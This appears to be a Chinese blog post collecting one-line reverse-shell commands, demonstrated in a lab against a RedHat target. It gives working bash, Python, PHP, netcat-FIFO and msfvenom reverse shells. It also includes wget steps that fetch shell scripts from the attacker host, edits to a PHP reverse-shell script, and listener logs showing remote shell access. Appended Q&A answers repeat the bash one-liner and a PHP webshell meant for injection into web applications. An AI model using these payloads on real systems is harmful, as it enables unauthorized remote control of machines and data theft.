常用一句话反弹shell总结

友情链接:https://blog.csdn.net/qq_38684504/article/details/90047213#3.%20python%E8%84%9A%E6%9C%AC%E5%8F%8D%E5%BC%B9shell

1. bash直接反弹

1.1> bash直接反弹

nc -nvlp 8080

1.2> 在目标主机上写入bash反弹一句话

bash -i >& /dev/tcp/192.168.37.131/8080 0>&1

  • bash -i:产生一个bash的交互环境;
  • &:将联合符号前面的内容与后面的内容相结合然后一起重定向给后者;

  • /dev/tcp/192.168.37.131/8080:与目标主机192.168.37.131/8080端口建立一个TCP连接;
  • 0>&1:将标准输入与标准输出相结合,重定向到前面标准输出内容;
1.3> 查看监听机上是否监听到shell;
root@root:~# nc -nvlp 8080
listening on [any] 8080 ...
connect to [192.168.37.131] from (UNKNOWN) [192.168.37.143] 46567
[tom@redhat home]$ whoami
whoami
tom
[tom@redhat home]$ pwd
pwd
/home
[tom@redhat home]$ 

2. python一句话反弹shell

2.1> 直接在Kali上监听1234端口;
    root@root:/var/www/html# nc -nvlp 1234
    listening on [any] 1234 ...
2.2> 在靶机上执行如下命令;
[tom@redhat tmp]$ python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.37.131",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
2.3> 在Kali上查看监听到的1234端口,获取反弹shell;
root@root:/var/www/html# nc -nvlp 1234
listening on [any] 1234 ...
connect to [192.168.37.131] from (UNKNOWN) [192.168.37.143] 35065
sh-4.1$ whoami
whoami
tom
sh-4.1$ 

3. python脚本反弹shell

3.1> 在Kali的web访问目录下准备shell.py;并执行python -m SimpleHTTPServer 80,搭建简易Web服务(注:web服务在/var/www/html目录下开启,当然也可以直接开启阿帕奇服务 /etc/init.d/apache2 start);
root@root:~# cd /var/www/html/
root@root:/var/www/html# vim shell.py
root@root:/var/www/html# cat shell.py   #shell.py的内容
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.37.131",1234))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/bash","-i"])
root@root:/var/www/html# /etc/init.d/apache2 start     #开启Apache服务
[ ok ] Starting apache2 (via systemctl): apache2.service.
3.2> 将python shell脚本下载到目标靶机系统;(一般下载到/tmp目录下);
[tom@redhat tmp]$ wget http://192.168.37.131/shell.py
--2019-05-20 13:54:58--  http://192.168.37.131/shell.py
正在连接 192.168.37.131:80... 已连接。
已发出 HTTP 请求,正在等待回应... 200 OK
长度:218 [text/x-python]
正在保存至: “shell.py.1100%[======================================>] 218         --.-K/s   in 0s      
 
2019-05-20 13:54:58 (13.6 MB/s) - 已保存 “shell.py.1[218/218])
3.3> 下载成功后,在Kali上开启监听端口1234;并在靶机上运行python脚本 ;

在kali上开启监听端口1234:

root@root:/var/www/html# nc -nvlp 1234
listening on [any] 1234 ...

在靶机上执行下载的python脚本文件:

[tom@redhat tmp]$ python shell.py
3.4>查看Kali上监听的端口1234,获取靶机的反弹shell;
root@root:/var/www/html# nc -nvlp 1234
listening on [any] 1234 ...
connect to [192.168.37.131] from (UNKNOWN) [192.168.37.143] 35053
[tom@redhat tmp]$ whoami
whoami
tom
[tom@redhat tmp]$ ifconfig
ifconfig
eth1      Link encap:Ethernet  HWaddr 00:0C:29:EF:E0:1D  
          inet addr:192.168.37.143  Bcast:192.168.37.255  Mask:255.255.255.0
          inet6 addr: fe80::20c:29ff:feef:e01d/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:2605 errors:0 dropped:0 overruns:0 frame:0
          TX packets:286 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:186570 (182.1 KiB)  TX bytes:24850 (24.2 KiB)

4. php一句话反弹shell

4.1> 直接在Kali上监听1234端口;
root@root:/var/www/html# nc -nvlp 1234
listening on [any] 1234 ...
4.2> 在靶机上执行如下命令;
[tom@redhat tmp]$ php -r '$sock=fsockopen("192.168.37.131",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
4.3> 在Kali上查看监听到的1234端口,获取反弹shell;
root@root:/var/www/html# nc -nvlp 1234
listening on [any] 1234 ...
connect to [192.168.37.131] from (UNKNOWN) [192.168.37.143] 35064
sh-4.1$ whoami
whoami
tom
sh-4.1$ 
4.4> 将反弹shell转换为交互式shell;
sh-4.1$ python -c 'import pty;pty.spawn("/bin/bash")'
python -c 'import pty;pty.spawn("/bin/bash")'
[tom@redhat tmp]$ whoami 
whoami
tom
[tom@redhat tmp]$ 

5. php脚本反弹shell

5.1> 在KALI中添加shell.php;并开启Apache服务;
  • shell.php的内容如下:
<?php $sock=fsockopen("192.168.37.131",1234);exec("/bin/sh -i <&3 >&3 2>&3");?>
  • 开启Apache服务命令;

命令:/etc/init.d/apache2 start

  • 具体的执行过程如下:
root@root:~# cd /var/www/html/
root@root:/var/www/html# vim shell.php
root@root:/var/www/html# cat shell.php    #php脚本
<?php $sock=fsockopen("192.168.37.131",1234);exec("/bin/sh -i <&3 >&3 2>&3");?>
root@root:/var/www/html# /etc/init.d/apache2 start   #开启Apache服务
[ ok ] Starting apache2 (via systemctl): apache2.service.
root@root:/var/www/html# 
5.2> 向靶机上上传shell.php脚本;
[tom@redhat tmp]$ wget http://192.168.37.131/shell.php
--2019-05-20 14:21:56--  http://192.168.37.131/shell.php
正在连接 192.168.37.131:80... 已连接。
已发出 HTTP 请求,正在等待回应... 200 OK
长度:80 [text/plain]
正在保存至: “shell.php”
 
100%[======================================>] 80          --.-K/s   in 0s      
 
2019-05-20 14:21:56 (4.53 MB/s) - 已保存 “shell.php” [80/80])
5.3> 下载成功后,在Kali上开启监听端口1234;
root@root:/var/www/html# nc -nvlp 1234
listening on [any] 1234 ...
5.4> 在靶机上运行下载的php脚本;
[tom@redhat tmp]$ php shell.php
5.5> 查看Kali上监听的端口1234,获取靶机的反弹shell;
root@root:/var/www/html# nc -nvlp 1234
listening on [any] 1234 ...
connect to [192.168.37.131] from (UNKNOWN) [192.168.37.143] 35063
sh-4.1$ whoami
whoami
tom
sh-4.1$ ifconfig
ifconfig
eth1      Link encap:Ethernet  HWaddr 00:0C:29:EF:E0:1D  
          inet addr:192.168.37.143  Bcast:192.168.37.255  Mask:255.255.255.0
          inet6 addr: fe80::20c:29ff:feef:e01d/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:2748 errors:0 dropped:0 overruns:0 frame:0
          TX packets:369 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:204505 (199.7 KiB)  TX bytes:32844 (32.0 KiB)

6. 使用nc命令获取靶机的反弹shell;

6.1> 在靶机上输入如下命令;
[tom@redhat tmp]$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.37.131 1234 >/tmp/f;
6.2> 在Kali上监听1234端口;
root@root:/var/www/html# nc -nvlp 1234
listening on [any] 1234 ...
connect to [192.168.37.131] from (UNKNOWN) [192.168.37.143] 35067
sh-4.1$ whoami
whoami
tom
sh-4.1$ 

7. 使用Kali自带的脚本文件获取反弹shell

7.1> 查看Kali上的php-reverse-shell.php,另存为并修改监听的IP地址;
  • 在kali上查看php-reverse-shell.php文件;
root@root:~# cd /usr/share/webshells/
root@root:/usr/share/webshells# ls
asp  aspx  cfm  jsp  perl  php
root@root:/usr/share/webshells# cd php
root@root:/usr/share/webshells/php# ls
findsock.c        php-findsock-shell.php  qsd-php-backdoor.php
php-backdoor.php  php-reverse-shell.php   simple-backdoor.php
root@root:/usr/share/webshells/php# cat php-reverse-shell.php
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
//
// This tool may be used for legal purposes only.  Users take full responsibility
......
  • 将php-reverse-shell.php文件另存到/var/www/html后,修改监听的IP地址为目标机的P地址;
root@root:/usr/share/webshells/php# cp php-reverse-shell.php /var/www/html/
root@root:/usr/share/webshells/php# cd /var/www/html/
root@root:/var/www/html# ls
1.html   a.js             index.html               shell.elf
1.php    decode.py        index.nginx-debian.html  shell.php
2.html   dirty.c          php-reverse-shell.php    shell.py
37292.c  dirtycow-master  shell.c                  shell.txt
root@root:/var/www/html# vim php-reverse-shell.php 
root@root:/var/www/html# cat php-reverse-shell.php   #修改监听的IP地址
......
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.
 
set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.37.131';  // CHANGE THIS      #修改IP地址
$port = 1234;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
......
root@root:/var/www/html# /etc/init.d/apache2 start
[ ok ] Starting apache2 (via systemctl): apache2.service.
7.2> 将文件上传到靶机上;并监听1234端口,执行文件,获取反弹shell;

8. 使用msfvenom 获取一句话反弹shell

当我们不记得前面说的所有反弹shell的反弹语句时,只要我们有Metasploit,就可以生成我们所需要的各类命令行一句话,具体使用方法如下:

8.1> 查询 payload 具体路径

我们直接可以使用 msfvenom -l 结合关键字过滤(如cmd/unix/reverse),找出我们需要的各类反弹一句话payload的路径信息。

root@root:~# msfvenom -l payloads |grep "cmd/unix/reverse"
    cmd/unix/reverse                                    Creates an interactive shell through two inbound connections
    cmd/unix/reverse_awk                                Creates an interactive shell via GNU AWK
    cmd/unix/reverse_bash                               Creates an interactive shell via bash's builtin /dev/tcp. This will not work on most Debian-based Linux distributions (including Ubuntu) because they compile bash without the /dev/tcp feature.
    cmd/unix/reverse_bash_telnet_ssl                    Creates an interactive shell via mkfifo and telnet. This method works on Debian and other systems compiled without /dev/tcp support. This module uses the '-z' option included on some systems to encrypt using SSL.
    cmd/unix/reverse_lua                                Creates an interactive shell via Lua
    cmd/unix/reverse_ncat_ssl                           Creates an interactive shell via ncat, utilizing ssl mode
    cmd/unix/reverse_netcat                             Creates an interactive shell via netcat
    cmd/unix/reverse_netcat_gaping                      Creates an interactive shell via netcat
    cmd/unix/reverse_nodejs                             Continually listen for a connection and spawn a command shell via nodejs
    cmd/unix/reverse_openssl                            Creates an interactive shell through two inbound connections
    cmd/unix/reverse_perl                               Creates an interactive shell via perl
    cmd/unix/reverse_perl_ssl                           Creates an interactive shell via perl, uses SSL
    cmd/unix/reverse_php_ssl                            Creates an interactive shell via php, uses SSL
    cmd/unix/reverse_python                             Connect back and create a command shell via Python
    cmd/unix/reverse_python_ssl                         Creates an interactive shell via python, uses SSL, encodes with base64 by design.
    cmd/unix/reverse_r                                  Connect back and create a command shell via R
    cmd/unix/reverse_ruby                               Connect back and create a command shell via Ruby
    cmd/unix/reverse_ruby_ssl                           Connect back and create a command shell via Ruby, uses SSL
    cmd/unix/reverse_socat_udp                          Creates an interactive shell via socat
    cmd/unix/reverse_ssl_double_telnet                  Creates an interactive shell through two inbound connections, encrypts using SSL via "-z" option
    cmd/unix/reverse_stub                               Creates an interactive shell through an inbound connection (stub only, no payload)
    cmd/unix/reverse_zsh                                Connect back and create a command shell via Zsh. Note: Although Zsh is often available, please be aware it isn't usually installed by default.
8.2> 生成我们所需要的一句话反弹shell;
msfvenom -p cmd/unix/reverse_bash lhost=192.168.37.131 lport=1234 R      #bash反弹一句话

msfvenom -p cmd/unix/reverse_netcat lhost=192.168.37.131 lport=1234 R    #nc反弹一句话

msfvenom -p cmd/unix/reverse_python lhost=192.168.37.131 lport=1234 R  #python反弹一句话
8.3> 在Kali上监听端口,在靶机上执行生成的一句话shell;即可获取目标的反弹shell;

msfvenom具体使用,可以参考参考这个微博:
https://blog.csdn.net/whatday/article/details/82904623

  • 0
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
### 回答1: "bash -i >& /dev/tcp/IP地址/端口号 0>&1"。 这是一句简单的 Bash 命令,用于在远程主机上打开一个反弹 shell。它使用了 Bash 的内置命令 "bash -i" 来启动一个交互式 shell,并使用 ">&" 和 "/dev/tcp/IP地址/端口号" 来将 shell 的输入和输出重定向到远程主机上的指定 IP 地址和端口。这样,你就可以在远程主机上运行命令并获得输出,就像在本地 shell 中一样。 注意:使用反弹 shell 是一种非常危险的操作,应该只在拥有合法权限的情况下使用。如果你在没有合法权限的情况下使用反弹 shell,你可能会触犯法律。 ### 回答2: 反弹shell代码是指通过在目标计算机上执行恶意代码,将计算机中的shell连接会话转移到攻击者控制的远程服务器上。这样,攻击者就能够远程控制目标计算机。一句话反弹shell代码是一种常见的恶意代码,攻击者通常通过利用漏洞将这段代码注入到目标服务器的Web应用程序中。 以下是一个简单的一句话反弹shell代码的示例: ``` <?php $sock=fsockopen("攻击者的IP地址",攻击者的端口);shell_exec("/bin/sh -i <&3 >&3 2>&3");?> ``` 以上代码中,“攻击者的IP地址”需要替换为攻击者服务器的实际IP地址,“攻击者的端口”需要替换为攻击者服务器监听的实际端口。 当目标服务器上的Web应用程序执行包含以上代码的恶意请求,它将尝试与攻击者的服务器建立连接。一旦成功连接,攻击者就可以通过与目标计算机建立的连接会话执行命令、获取敏感信息或者进行其他恶意活动。 使用这种方式执行恶意代码是非法的,并且对网络安全造成威胁。为了保护网络安全,服务器管理员需要定期更新软件和系统补丁,同对输入进行有效的过滤和验证,以防止类似的攻击。 ### 回答3: 反弹shell代码是一种利用网络连接远程控制目标操作系统的方法。以下是一个300字的中文回答: 反弹shell代码是一种用于在网络中远程控制目标操作系统的技术,可以实现向目标计算机发送命令并接收返回结果。该代码通常被黑客用于非法活动,因此对于正当目的者来说,了解反弹shell代码的原理和方法是非常重要的。 反弹shell代码的基本原理是将一个后门程序或指令嵌入到目标系统中,使得黑客可以通过网络连接远程操控目标系统。当黑客成功地将后门程序或指令嵌入到目标系统后,他们就能够通过特定的网络端口或协议监听并等待一个连接。一旦有连接建立,黑客就能够与目标系统建立通信,并发送命令执行特定的操作。 反弹shell代码常见的用途包括获取目标系统的敏感信息、执行某些操作以获取非法利益或破坏目标系统的安全性。因此,了解反弹shell代码以及如何防范其攻击是非常重要的。对于普通用户来说,保持操作系统和软件的最新补丁、不安全网站、可疑附件和链接、避免打开来历不明的文件等都是预防黑客利用反弹shell代码攻击的有效方法。 总而言之,反弹shell代码是一种通过网络连接远程控制目标操作系统的技术。对于黑客来说,它是一种非法的工具,但对于系统管理员和安全专家来说,了解其原理和如何防范攻击是非常重要的。通过采取适当的安全措施,我们可以减少反弹shell代码对我们系统的威胁。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值